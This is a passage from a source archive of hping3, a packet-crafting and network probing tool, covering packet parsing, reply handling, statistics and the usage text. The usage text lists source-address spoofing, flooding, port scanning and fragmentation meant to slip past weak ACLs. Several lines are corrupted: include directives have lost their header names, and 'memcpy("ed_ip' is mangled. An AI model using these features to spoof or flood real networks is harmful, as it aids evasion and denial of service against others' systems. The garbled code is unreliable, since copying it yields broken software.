1; else optsize = tcpopt->len; /* Avoid infinite loop with broken packets */ if (optsize == 0) optsize = 1; /* pkt->aux was set by ars_split_tcp, or by ars_split_tcpopt itself */ size = MIN(size, pkt->aux); if (size == 0) { *len = 0; *state = ARS_SPLIT_GET_DATA; return -ARS_OK; } if (size < optsize) { flags |= ARS_SPLIT_FTRUNC; optsize = size; } pkt->aux -= optsize; error = ars_add_generic(pkt, optsize, ARS_TYPE_TCPOPT); if (error != -ARS_OK) return error; memcpy(pkt->p_layer[pkt->p_layer_nr].l_data, tcpopt, optsize); pkt->p_layer_nr++; ars_set_flags(pkt, ARS_LAST_LAYER, flags); *len = optsize; if (pkt->aux > 0) *state = ARS_SPLIT_GET_TCPOPT; else *state = ARS_SPLIT_GET_DATA; return -ARS_OK; } /* XXX: check for valid IGRP checksum */ int ars_split_igrp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { struct ars_igrphdr *igrp = packet; int flags = 0, igrpsize = sizeof(*igrp); int error; if (size < sizeof(*igrp)) { flags |= ARS_SPLIT_FTRUNC; igrpsize = size; } error = ars_add_generic(pkt, sizeof(*igrp), ARS_TYPE_IGRP); if (error != -ARS_OK) return error; memcpy(pkt->p_layer[pkt->p_layer_nr].l_data, igrp, igrpsize); pkt->p_layer_nr++; ars_set_flags(pkt, ARS_LAST_LAYER, flags); *len = igrpsize; *state = ARS_SPLIT_GET_IGRPENTRY; return -ARS_OK; } int ars_split_igrpentry(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) { struct ars_igrpentry *entry = packet; int flags = 0, entrysize = sizeof(*entry); int error; if (size < sizeof(*entry)) { flags |= ARS_SPLIT_FTRUNC; entrysize = size; } error = ars_add_generic(pkt, sizeof(*entry), ARS_TYPE_IGRPENTRY); if (error != -ARS_OK) return error; memcpy(pkt->p_layer[pkt->p_layer_nr].l_data, entry, entrysize); pkt->p_layer_nr++; ars_set_flags(pkt, ARS_LAST_LAYER, flags); *len = entrysize; *state = ARS_SPLIT_GET_IGRPENTRY; return -ARS_OK; } hping3-3.a2.ds2/statistics.c000066400000000000000000000022161021454026700157360ustar00rootroot00000000000000/* * $smu-mark$ * $name: statistics.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:50 MET 1999$ * $rev: 8$ */ /* $Id: statistics.c,v 1.3 2004/04/09 23:38:56 antirez Exp $ */ #include #include #include "hping2.h" #include "globals.h" void print_statistics(int signal_id) { unsigned int lossrate; close_pcap(); if (recv_pkt > 0) lossrate = 100 - ((recv_pkt*100)/sent_pkt); else if (!sent_pkt) lossrate = 0; else lossrate = 100; fprintf(stderr, "\n--- %s hping statistic ---\n", targetname); fprintf(stderr, "%d packets tramitted, %d packets received, " "%d%% packet loss\n", sent_pkt, recv_pkt, lossrate); if (out_of_sequence_pkt) fprintf(stderr, "%d out of sequence packets received\n", out_of_sequence_pkt); fprintf(stderr, "round-trip min/avg/max = %.1f/%.1f/%.1f ms\n", rtt_min, rtt_avg, rtt_max); /* manage exit code */ if (opt_tcpexitcode) { exit(tcp_exitcode); } else { if (recv_pkt) exit(0); else exit(1); } }; hping3-3.a2.ds2/strlcpy.c000066400000000000000000000061221021454026700152440ustar00rootroot00000000000000/* * $smu-mark$ * $name: strLcpy.c$ * $author: Nicolas Jombart $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * *copyright: (c) 1998 Todd C. Miller $ * $license: This software is under GPL version 2 of license$ * $date: Wed Feb 13 17:02:32 CET 2002$ * $rev:$ */ /* $OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 millert Exp $ */ /* * Copyright (c) 1998 Todd C. Miller * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* $Id: strlcpy.c,v 1.1.1.1 2003/08/31 17:23:55 antirez Exp $ */ /* This function comes from BSD */ #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ !defined(__bsdi__) && !defined(__APPLE__) #include #include /* * Copy src to string dst of size siz. At most siz-1 characters * will be copied. Always NUL terminates (unless siz == 0). * Returns strlen(src); if retval >= siz, truncation occurred. */ size_t strlcpy(dst, src, siz) char *dst; const char *src; size_t siz; { register char *d = dst; register const char *s = src; register size_t n = siz; /* Copy as many bytes as will fit */ if (n != 0 && --n != 0) { do { if ((*d++ = *s++) == 0) break; } while (--n != 0); } /* Not enough room in dst, add NUL and traverse rest of src */ if (n == 0) { if (siz != 0) *d = '\0'; /* NUL-terminate dst */ while (*s++) ; } return(s - src - 1); /* count does not include NUL */ } #endif /* ! __*BSD__ */ hping3-3.a2.ds2/usage.c000066400000000000000000000147011021454026700146520ustar00rootroot00000000000000/* * $smu-mark$ * $name: usage.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:50 MET 1999$ * $rev: 8$ */ /* $Id: usage.c,v 1.2 2004/06/18 09:53:11 antirez Exp $ */ #include #include void show_usage(void) { printf( "usage: hping host [options]\n" " -h --help show this help\n" " -v --version show version\n" " -c --count packet count\n" " -i --interval wait (uX for X microseconds, for example -i u1000)\n" " --fast alias for -i u10000 (10 packets for second)\n" " --faster alias for -i u1000 (100 packets for second)\n" " --flood sent packets as fast as possible. Don't show replies.\n" " -n --numeric numeric output\n" " -q --quiet quiet\n" " -I --interface interface name (otherwise default routing interface)\n" " -V --verbose verbose mode\n" " -D --debug debugging info\n" " -z --bind bind ctrl+z to ttl (default to dst port)\n" " -Z --unbind unbind ctrl+z\n" " --beep beep for every matching packet received\n" "Mode\n" " default mode TCP\n" " -0 --rawip RAW IP mode\n" " -1 --icmp ICMP mode\n" " -2 --udp UDP mode\n" " -8 --scan SCAN mode.\n" " Example: hping --scan 1-30,70-90 -S www.target.host\n" " -9 --listen listen mode\n" "IP\n" " -a --spoof spoof source address\n" " --rand-dest random destionation address mode. see the man.\n" " --rand-source random source address mode. see the man.\n" " -t --ttl ttl (default 64)\n" " -N --id id (default random)\n" " -W --winid use win* id byte ordering\n" " -r --rel relativize id field (to estimate host traffic)\n" " -f --frag split packets in more frag. (may pass weak acl)\n" " -x --morefrag set more fragments flag\n" " -y --dontfrag set dont fragment flag\n" " -g --fragoff set the fragment offset\n" " -m --mtu set virtual mtu, implies --frag if packet size > mtu\n" " -o --tos type of service (default 0x00), try --tos help\n" " -G --rroute includes RECORD_ROUTE option and display the route buffer\n" " --lsrr loose source routing and record route\n" " --ssrr strict source routing and record route\n" " -H --ipproto set the IP protocol field, only in RAW IP mode\n" "ICMP\n" " -C --icmptype icmp type (default echo request)\n" " -K --icmpcode icmp code (default 0)\n" " --force-icmp send all icmp types (default send only supported types)\n" " --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)\n" " --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)\n" " --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)\n" " --icmp-help display help for others icmp options\n" "UDP/TCP\n" " -s --baseport base source port (default random)\n" " -p --destport [+][+] destination port(default 0) ctrl+z inc/dec\n" " -k --keep keep still source port\n" " -w --win winsize (default 64)\n" " -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)\n" " -Q --seqnum shows only tcp sequence number\n" " -b --badcksum (try to) send packets with a bad IP checksum\n" " many systems will fix the IP checksum sending the packet\n" " so you'll get bad UDP/TCP checksum instead.\n" " -M --setseq set TCP sequence number\n" " -L --setack set TCP ack\n" " -F --fin set FIN flag\n" " -S --syn set SYN flag\n" " -R --rst set RST flag\n" " -P --push set PUSH flag\n" " -A --ack set ACK flag\n" " -U --urg set URG flag\n" " -X --xmas set X unused flag (0x40)\n" " -Y --ymas set Y unused flag (0x80)\n" " --tcpexitcode use last tcp->th_flags as exit code\n" " --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime\n" "Common\n" " -d --data data size (default is 0)\n" " -E --file data from file\n" " -e --sign add 'signature'\n" " -j --dump dump packets in hex\n" " -J --print dump printable characters\n" " -B --safe enable 'safe' protocol\n" " -u --end tell you when --file reached EOF and prevent rewind\n" " -T --traceroute traceroute mode (implies --bind and --ttl 1)\n" " --tr-stop Exit when receive the first not ICMP in traceroute mode\n" " --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop\n" " --tr-no-rtt Don't calculate/show RTT information in traceroute mode\n" "ARS packet description (new, unstable)\n" " --apd-send Send the packet described with APD (see docs/APD.txt)\n" ); exit(0); }; void tos_help(void) { printf( "tos help:\n" " TOS Name Hex Value Typical Uses\n" "\n" " Minimum Delay 10 ftp, telnet\n" " Maximum Throughput 08 ftp-data\n" " Maximum Reliability 04 snmp\n" " Minimum Cost 02 nntp\n" ); exit(0); } void icmp_help(void) { printf( "ICMP help:\n" " ICMP concerned packet options:\n" " --icmp-ipver set ip version ( default 4 )\n" " --icmp-iphlen set ip header lenght ( default IPHDR_SIZE >> 2)\n" " --icmp-iplen set ip total lengtht ( default real lenght )\n" " --icmp-ipid set ip id ( default random )\n" " --icmp-ipproto set ip protocol ( default IPPROTO_TCP )\n" " --icmp-ipsrc set ip source ( default 0.0.0.0 )\n" " --icmp-ipdst set ip destination ( default 0.0.0.0 )\n" " --icmp-srcport set tcp/udp source port ( default random )\n" " --icmp-dstport set tcp/udp destination port ( default random )\n" " --icmp-cksum set icmp checksum ( default the right cksum)\n" ); exit(0); } void route_help(void) { printf( "route help:\n" " A route has the following format: [ptr:]IP1[/IP2[/IP3...]]\n" " where ptr is the exact value of the pointer that will be used for the IP\n" " option (be careful, no check is performed on this pointer), and defaults\n" " to 8, or 4 if provided route is too short for 8;\n" " and each IPx field is an IP address to include in the source route.\n"); } hping3-3.a2.ds2/version.c000066400000000000000000000012241021454026700152270ustar00rootroot00000000000000/* * $smu-mark$ * $name: version.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:50 MET 1999$ * $rev: 8$ */ /* $Id: version.c,v 1.3 2004/04/09 23:38:56 antirez Exp $ */ #include #include #include "release.h" #include "hping2.h" void show_version(void) { printf("hping version %s (%s)\n", RELEASE_VERSION, RELEASE_DATE); #ifdef USE_TCL printf("This binary is TCL scripting capable\n"); #else printf("NO TCL scripting support compiled in\n"); #endif exit(0); } hping3-3.a2.ds2/waitpacket.c000066400000000000000000000364761021454026700157170ustar00rootroot00000000000000/* waitpacket.c -- handle and print the incoming packet * Copyright(C) 1999-2001 Salvatore Sanfilippo * Under GPL, see the COPYING file for more information about * the license. */ /* $Id: waitpacket.c,v 1.4 2004/06/18 09:53:11 antirez Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include "hping2.h" #include "globals.h" static int icmp_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay); static void print_tcp_timestamp(void *tcp, int tcpsize); static int recv_icmp(void *packet, size_t size); static int recv_udp(void *packet, size_t size); static int recv_tcp(void *packet, size_t size); static void hex_dump(void *packet, int size); static void human_dump(void *packet, int size); static void handle_hcmp(char *packet, int size); static struct myiphdr ip; static int ip_size; static struct in_addr src, dst; /* This function is called for every matching packet received. * If --beep option was specified, the user will hear a beep * for every received packet. */ void recv_beep(void) { if (opt_beep) printf("\a"); } void wait_packet(void) { int match = 0; int size, iphdr_size, enc_size; char packet [IP_MAX_SIZE+linkhdr_size]; char *ip_packet, *enc_packet; size = read_packet(packet, IP_MAX_SIZE+linkhdr_size); switch(size) { case 0: return; case -1: exit(1); } /* Check if the packet is shorter than the link header size */ if (size < linkhdr_size) { if (opt_debug) printf("DEBUG: WARNING: packet size < linkhdr_size\n"); return; } /* IP packet pointer and len */ ip_packet = packet + linkhdr_size; ip_size = size - linkhdr_size; /* Truncated IP header? */ if (ip_size < IPHDR_SIZE) { if (opt_debug) printf("[|ip fix]\n"); return; } memcpy(&ip, packet+linkhdr_size, sizeof(ip)); iphdr_size = ip.ihl * 4; /* Bad IP header len? */ if (iphdr_size > ip_size) { if (opt_debug) printf("[|iphdr size]\n"); return; } /* Handle the HCMP for almost safe file transfer with hping */ if (opt_sign) handle_hcmp(ip_packet, ip_size); /* Check if the dest IP address is the one of our interface */ if (memcmp(&ip.daddr, &local.sin_addr, sizeof(ip.daddr))) return; /* If the packet isn't an ICMP error it should come from * our target IP addresss. We accepts packets from all the * source if the random destination option is active */ if (ip.protocol != IPPROTO_ICMP && !opt_rand_dest) { if (memcmp(&ip.saddr, &remote.sin_addr, sizeof(ip.saddr))) return; } /* Get the encapsulated protocol offset and size */ enc_packet = ip_packet + iphdr_size; enc_size = ip_size - iphdr_size; /* Put the IP source and dest addresses in a struct in_addr */ memcpy(&src, &(ip.saddr), sizeof(struct in_addr)); memcpy(&dst, &(ip.daddr), sizeof(struct in_addr)); switch(ip.protocol) { case IPPROTO_ICMP: match = recv_icmp(enc_packet, enc_size); break; case IPPROTO_UDP: match = recv_udp(enc_packet, enc_size); break; case IPPROTO_TCP: match = recv_tcp(enc_packet, enc_size); break; default: return; } if (match) recv_pkt++; /* Dump the packet in hex */ if (opt_hexdump && match && !opt_quiet) hex_dump(ip_packet, ip_size); /* Dump printable characters inside the packet */ if (opt_contdump && match && !opt_quiet) human_dump(ip_packet, ip_size); /* Display IP options */ if (match && opt_rroute && !opt_quiet) display_ipopt(ip_packet); /* --stop-tr stops hping in traceroute mode when the * first not ICMP time exceeded packet is received */ if (opt_traceroute && opt_tr_stop && match) { struct myicmphdr icmp; if (ip.protocol != IPPROTO_ICMP) print_statistics(0); if (enc_size >= ICMPHDR_SIZE) { memcpy(&icmp, enc_packet, sizeof(icmp)); if (icmp.type != 11) print_statistics(0); } } /* if the count was reached exit now */ if (count != -1 && count == recv_pkt) print_statistics(0); } void log_ip(int status, int sequence) { int rel_id, ip_id; /* get ip->id */ if (opt_winid_order) ip_id = ip.id; else ip_id = htons(ip.id); if (status == S_RECV) printf("DUP! "); if (opt_relid) rel_id = relativize_id(sequence, &ip_id); else rel_id = 0; printf("len=%d ip=%s ttl=%d %sid%s%d ", ip_size, inet_ntoa(src), ip.ttl, (ntohs(ip.frag_off) ? "DF " : ""), (rel_id ? "=+" : "="), ip_id); if (opt_verbose && !opt_quiet) printf("tos=%x iplen=%u\n", ip.tos, htons(ip.tot_len)); } void log_icmp_ts(void *ts) { struct icmp_tstamp_data icmp_tstamp; memcpy(&icmp_tstamp, ts, sizeof(icmp_tstamp)); printf("ICMP timestamp: Originate=%u Receive=%u Transmit=%u\n", (unsigned int) ntohl(icmp_tstamp.orig), (unsigned int) ntohl(icmp_tstamp.recv), (unsigned int) ntohl(icmp_tstamp.tran)); printf("ICMP timestamp RTT tsrtt=%lu\n\n", (long unsigned int) (get_midnight_ut_ms() - ntohl(icmp_tstamp.orig))); } void log_icmp_addr(void *addrptr) { unsigned char *addr = addrptr; printf("ICMP address mask: icmpam=%u.%u.%u.%u\n\n", addr[0], addr[1], addr[2], addr[3]); } void log_traceroute(void *packet, int size, int icmp_code) { static unsigned char old_src_addr[4] = { 0, 0, 0, 0 }; int sequence = 0, retval; float rtt; if (!opt_tr_keep_ttl && !memcmp(&ip.saddr, old_src_addr, 4)) return; retval = icmp_unreach_rtt(packet+ICMPHDR_SIZE, size-ICMPHDR_SIZE, &sequence, &rtt); memcpy(old_src_addr, &ip.saddr, sizeof(ip.saddr)); printf("hop=%d ", src_ttl); fflush(stdout); log_icmp_timeexc(inet_ntoa(src), icmp_code); if (retval != -1) printf("hop=%d hoprtt=%.1f ms\n", src_ttl, rtt); if (!opt_tr_keep_ttl) src_ttl++; } int recv_icmp(void *packet, size_t size) { struct myicmphdr icmp; struct myiphdr quoted_ip; /* Check if the packet can contain the ICMP header */ if (size < ICMPHDR_SIZE) { printf("[|icmp]\n"); return 0; } memcpy(&icmp, packet, sizeof(icmp)); /* --------------------------- * * ICMP ECHO/TIMESTAMP/ADDRESS * * --------------------------- */ if ((icmp.type == ICMP_ECHOREPLY || icmp.type == ICMP_TIMESTAMPREPLY || icmp.type == ICMP_ADDRESSREPLY) && icmp.un.echo.id == (getpid() & 0xffff)) { int icmp_seq = icmp.un.echo.sequence; int status; float ms_delay; recv_beep(); /* obtain round trip time */ status = rtt(&icmp_seq, 0, &ms_delay); log_ip(status, icmp_seq); printf("icmp_seq=%d rtt=%.1f ms\n", icmp_seq, ms_delay); if (icmp.type == ICMP_TIMESTAMPREPLY) { if ((size - ICMPHDR_SIZE) >= 12) log_icmp_ts(packet+ICMPHDR_SIZE); else printf("[|icmp timestamp]\n"); } else if (icmp.type == ICMP_ADDRESSREPLY) { if ((size - ICMPHDR_SIZE) >= 4) log_icmp_addr(packet+ICMPHDR_SIZE); else printf("[|icmp subnet address]\n"); } return 1; } /* ------------------------------------ * * ICMP DEST UNREACHABLE, TIME EXCEEDED * * ------------------------------------ */ else if (icmp.type == 3 || icmp.type == 11) { if ((size - ICMPHDR_SIZE) < sizeof(struct myiphdr)) { printf("[|icmp quoted ip]\n"); return 0; } memcpy("ed_ip, packet+ICMPHDR_SIZE, sizeof(quoted_ip)); if (memcmp("ed_ip.daddr, &remote.sin_addr, sizeof(quoted_ip.daddr)) || memcmp(&ip.daddr, &local.sin_addr, sizeof(ip.daddr))) return 0; /* addresses don't match */ /* Now we can handle the specific type */ switch(icmp.type) { case 3: if (!opt_quiet) log_icmp_unreach(inet_ntoa(src), icmp.code); return 1; case 11: if (opt_traceroute) log_traceroute(packet, size, icmp.code); else log_icmp_timeexc(inet_ntoa(src), icmp.code); return 1; } } return 0; /* don't match */ } int recv_udp(void *packet, size_t size) { struct myudphdr udp; int sequence = 0, status; float ms_delay; if (size < UDPHDR_SIZE) { printf("[|udp]\n"); return 0; } memcpy(&udp, packet, sizeof(udp)); /* check if the packet matches */ if ((ntohs(udp.uh_sport) == dst_port) || (opt_force_incdport && (ntohs(udp.uh_sport) >= base_dst_port && ntohs(udp.uh_sport) <= dst_port))) { recv_beep(); status = rtt(&sequence, ntohs(udp.uh_dport), &ms_delay); if (!opt_quiet) { log_ip(status, sequence); printf("seq=%d rtt=%.1f ms\n", sequence, ms_delay); } if (opt_incdport && !opt_force_incdport) dst_port++; return 1; } return 0; } int recv_tcp(void *packet, size_t size) { struct mytcphdr tcp; int sequence = 0, status; float ms_delay; char flags[16]; if (size < TCPHDR_SIZE) { printf("[|tcp]\n"); return 0; } memcpy(&tcp, packet, sizeof(tcp)); /* check if the packet matches */ if ((ntohs(tcp.th_sport) == dst_port) || (opt_force_incdport && (ntohs(tcp.th_sport) >= base_dst_port && ntohs(tcp.th_sport) <= dst_port))) { recv_beep(); tcp_exitcode = tcp.th_flags; status = rtt(&sequence, ntohs(tcp.th_dport), &ms_delay); if (opt_seqnum) { static __u32 old_th_seq = 0; __u32 seq_diff, tmp; tmp = ntohl(tcp.th_seq); if (tmp >= old_th_seq) seq_diff = tmp - old_th_seq; else seq_diff = (4294967295U - old_th_seq) + tmp; old_th_seq = tmp; printf("%10lu +%lu\n", (unsigned long) tmp, (unsigned long) seq_diff); goto out; } if (opt_quiet) goto out; flags[0] = '\0'; if (tcp.th_flags & TH_RST) strcat(flags, "R"); if (tcp.th_flags & TH_SYN) strcat(flags, "S"); if (tcp.th_flags & TH_ACK) strcat(flags, "A"); if (tcp.th_flags & TH_FIN) strcat(flags, "F"); if (tcp.th_flags & TH_PUSH) strcat(flags, "P"); if (tcp.th_flags & TH_URG) strcat(flags, "U"); if (tcp.th_flags & TH_X) strcat(flags, "X"); if (tcp.th_flags & TH_Y) strcat(flags, "Y"); if (flags[0] == '\0') strcat(flags, "none"); log_ip(status, sequence); printf("sport=%d flags=%s seq=%d win=%d rtt=%.1f ms\n", ntohs(tcp.th_sport), flags, sequence, ntohs(tcp.th_win), ms_delay); if (opt_verbose) { printf("seq=%lu ack=%lu sum=%x urp=%u\n\n", (unsigned long) ntohl(tcp.th_seq), (unsigned long) ntohl(tcp.th_ack), tcp.th_sum, ntohs(tcp.th_urp)); } /* Get and log the TCP timestamp */ if (opt_tcp_timestamp) print_tcp_timestamp(packet, size); out: if (opt_incdport && !opt_force_incdport) dst_port++; return 1; } return 0; } /* Try to extract information about the original packet from the * ICMP error to obtain the round time trip * * Note that size is the the packet size starting from the * IP packet quoted in the ICMP error, it may be negative * if the ICMP is broken */ int icmp_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay) { int src_port; int sequence = 0; int quoted_iphdr_size; struct myudphdr udp; struct myicmphdr icmp; struct myiphdr qip; /* The user specified --no-rtt */ if (opt_tr_no_rtt) return -1; if (size < sizeof(struct myiphdr)) return -1; memcpy(&qip, quoted_ip, sizeof(struct myiphdr)); quoted_iphdr_size = qip.ihl << 2; /* Ok, enough room, try to get the rtt, * but check if the original packet was an UDP/TCP one */ if (qip.protocol == IPPROTO_TCP || qip.protocol == IPPROTO_UDP) { /* We need at least 2 bytes of the quoted UDP/TCP header * for the source port */ if ((size - quoted_iphdr_size) < 2) return -1; /* Use the UDP header for both UDP and TCP, they are * the same in the 4 first bytes (source and dest port) */ memcpy(&udp, quoted_ip+quoted_iphdr_size, sizeof(udp)); src_port = htons(udp.uh_sport); return rtt(&sequence, src_port, ms_delay); } else if (qip.protocol == IPPROTO_ICMP) { int s; /* We need the whole 8 byte ICMP header to get * the sequence field, also the type must be * ICMP_ECHO */ memcpy(&icmp, quoted_ip+quoted_iphdr_size, sizeof(icmp)); if ((size - quoted_iphdr_size) < 8 || icmp.type != ICMP_ECHO) return -1; s = icmp.un.echo.sequence; return rtt(&s, 0, ms_delay); } return -1; /* no way */ } void print_tcp_timestamp(void *tcp, int tcpsize) { int optlen; unsigned char *opt; __u32 tstamp, echo; static __u32 last_tstamp = 0; struct mytcphdr tmptcphdr; unsigned int tcphdrlen; if (tcpsize < TCPHDR_SIZE) return; memcpy(&tmptcphdr, tcp, sizeof(struct mytcphdr)); tcphdrlen = tmptcphdr.th_off * 4; /* bad len or no options in the TCP header */ if (tcphdrlen <= 20 || tcphdrlen < tcpsize) return; optlen = tcphdrlen - TCPHDR_SIZE; opt = (unsigned char*)tcp + TCPHDR_SIZE; /* skips the TCP fix header */ while(optlen) { switch(*opt) { case 0: /* end of option */ return; case 1: /* noop */ opt++; optlen--; continue; default: if (optlen < 2) return; if (opt[1] > optlen) return; if (opt[0] != 8) { /* not timestamp */ optlen -= opt[1]; opt += opt[1]; continue; } /* timestamp found */ if (opt[1] != 10) /* bad len */ return; memcpy(&tstamp, opt+2, 4); memcpy(&echo, opt+6, 4); tstamp = ntohl(tstamp); echo = ntohl(echo); goto found; } } found: printf(" TCP timestamp: tcpts=%u\n", tstamp); if (last_tstamp && !opt_waitinusec) { int tsdiff = (tstamp - last_tstamp) / sending_wait; int hz_set[] = { 2, 10, 100, 1000, 0 }; int hzdiff = -1; int hz = 0, sec; int days, hours, minutes; if (tsdiff > 0) { int i = 0; while(hz_set[i]) { if (hzdiff == -1) { hzdiff = ABS(tsdiff-hz_set[i]); hz = hz_set[i]; } else if (hzdiff > ABS(tsdiff-hz_set[i])) { hzdiff = ABS(tsdiff-hz_set[i]); hz = hz_set[i]; } i++; } printf(" HZ seems hz=%d\n", hz); sec = tstamp/hz; /* Get the uptime in seconds */ days = sec / (3600*24); sec %= 3600*24; hours = sec / 3600; sec %= 3600; minutes = sec / 60; sec %= 60; printf(" System uptime seems: %d days, %d hours, " "%d minutes, %d seconds\n", days, hours, minutes, sec); } } printf("\n"); last_tstamp = tstamp; } /* This function is exported to listen.c also */ int read_packet(void *packet, int size) { size = pcap_recv(packet, size); if (size == -1) perror("[wait_packet] pcap_recv()"); return size; } void hex_dump(void *packet, int size) { unsigned char *byte = packet; int count = 0; printf("\t\t"); for (; byte < (unsigned char*) (packet+size); byte++) { count++; printf("%02x", *byte); if (count % 2 == 0) printf(" "); if (count % 16 == 0) printf("\n\t\t"); } printf("\n\n"); } void human_dump(void *packet, int size) { unsigned char *byte = packet; int count = 0; printf("\t\t"); for (; byte < (unsigned char*) (packet+size); byte++) { count ++; if (isprint(*byte)) printf("%c", *byte); else printf("."); if (count % 32 == 0) printf("\n\t\t"); } printf("\n\n"); } void handle_hcmp(char *packet, int size) { char *p; struct hcmphdr hcmph; unsigned int seq; /* Search for the reverse signature inside the packet */ if ((p = memstr(packet, rsign, size)) == NULL) return; if (opt_debug) fprintf(stderr, "DEBUG: HCMP received\n"); p+=strlen(rsign); if ((size-(packet-p)) < sizeof(struct hcmphdr)) { if (opt_verbose || opt_debug) fprintf(stderr, "bad HCMP len received\n"); return; } memcpy(&hcmph, p, sizeof(hcmph)); switch(hcmph.type) { case HCMP_RESTART: seq = ntohs(hcmph.typedep.seqnum); src_id = seq; /* set the id */ datafiller(NULL, seq); /* data seek */ if (opt_debug) printf("DEBUG: HCMP restart from %d\n", seq); return; case HCMP_SOURCE_QUENCH: case HCMP_SOURCE_STIRUP: printf("HCMP source quench/stirup received\n"); return; default: if (opt_verbose || opt_debug) fprintf(stderr, "bad HCMP type received\n"); return; } }